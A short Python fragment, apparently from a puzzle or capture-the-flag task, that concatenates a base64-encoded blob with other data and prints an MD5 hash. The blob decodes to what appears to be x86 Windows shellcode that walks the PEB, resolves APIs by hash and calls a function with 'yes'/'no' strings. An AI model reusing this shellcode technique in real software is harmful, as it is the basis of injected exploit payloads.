base = b"YPxoTHcmBzPSZItSMItSDItSFItyKA+3SiYz/zPArDxhfAIsIMHPDQP44vBSV4tSEItCPAPCi0B4hcAPhL4AAAADwlCLSBiLWCAD2oP5AA+EqQAAAEmLNIsD8jP/M8Cswc8NA/g6xHX0A3wkBDt8JAx12TP/M8mDwlAPtgQKwc8NA/hBg/kOdfHBzw1XM/8zyYtUJDxSD7YcDrhnZmZm9+vR+ovCwegfA8KNBIAr2FoPtgQKK8PBzw0D+EGD+Q511MHPDTs8JHQWaCVzAACLxGhubwAAVFCLXCRI/9PrFGglcwAAi8RoeWVzAFRQi1wkSP/TWFhYWFhYWFhYYcNYX1qLEukL////"
base += data
print(hashlib.md5(base).hexdigest())